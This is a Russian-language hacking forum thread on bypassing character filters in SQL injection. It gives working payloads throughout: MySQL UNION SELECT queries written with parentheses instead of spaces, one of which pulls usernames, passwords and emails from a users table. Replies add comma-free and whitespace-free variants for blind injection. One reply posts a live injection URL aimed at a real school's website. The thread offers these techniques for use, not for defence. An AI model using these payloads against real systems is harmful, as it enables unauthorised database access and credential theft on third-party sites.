![]() |
Небольшой очерк 2 - Фильтрация
Тянет меня видимо раз в полгода писать что то подобное.
Суть очерка - показать возможность выкрутиться при sql-inj и составить нормальный запрос обходя фильтрацию спецсимволов в GPC: -Пробел %2B, + -Табуляция %09 -Возврат каретки %0D -Перевод строки %0A -Составляющие комментариев -, /, * *Примечание: дальнейшее описание имеет смысл только если после уязвимого параметра в теле запроса нет ничего что бы могло помешать логике, и не пришлось бы использовать комментарии 1. Например вот такой скрипт фильтрации: PHP код:
2. PoC Код:
mysql> select * from news;Код:
mysql> select news_name, news_theme, news from news where news_id=1;Код:
mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(1),(2),(3));--- Код:
mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(concat_ws(0x3a,id,username,pwd,email)),(concat_ws(0x3a,database(),user())),(null)from(users)where(id)like(1));3 ... 4 PROFIT PS Кстати встречались такие цмс, где приходилось обходиться скобками. Редко, но бывает. PPS Примеров можно приводить море, но направление я дал, дальше уже и сами сможете потестить. PPPS Если не понятна логика построения таких запросов, спрашивайте. eof |
Мой пост можете не читать :)
Цитата:
PHP код:
|
Нашли до чего доебаться, суть не в этом
|
вообще-то боян страшный..
|
баян, но ладно)
Слип молодец :-* |
Как к примеру сюда применить?
так работает Цитата:
Цитата:
|
farpost, http://www.tauntonschool.co.uk/foundation/index.php?id=(-1)'union(select(1),(2),(3),(4))--+
Только хз зачем тебе это, я же написал что это редкий случай когда нельзя обойтись без пробела и комментариев. |
кстати про %0b забыл
|
Добавил
|
Я пока ниразу не встречал, где бы это нужно было)
Но спасибо, буду знать ;) |
0x0C
|
Ну попробуем развивать тему, не знаю было такое уже или нет.
Иногда встречаются супер-пупер фильтры которые при обнаружении конструкции типа substring((select),1,1) зарубают всё удовольствие. Аналог substring() - mid() Так же хочу отметить, что обходиться без запятой в слепых инъекциях вполне реально: substring((select password from user limit 0,1),1,1) <=> substring((select password from user where id = 1) FROM 1 FOR 1) <=> mid((select password from user where id = 1) FROM 1 FOR 1) Хотя накладка появляется - нужно знать какую либо колонку по которой можно перебирать строки таблицы. |
Если нужно обходиться без запятых, так же можно применить:
limit 0,1 <=> limit 1 offset 0 if((a),b,c) <=> case when (a) then b else c Пример запроса https://forum.antichat.ru/showpost.php?p=1696686&postcount=48 см внизу |
substring(version(),1,1) = mid(version(),1,1) = substr(version(),1,1) = right(left(version(),1),1)
|
[Raz0r]Описывал уже нечто подобное в своём блоге.
можно ещё по другому обойти, Цитата:
Фильтр обрежет *, и останеться %0A. |
Цитата:
Мы тут как бы вкладываем аналогичные конструкции, а не обсуждаем конкретные фильтры. |
| Время: 12:18 |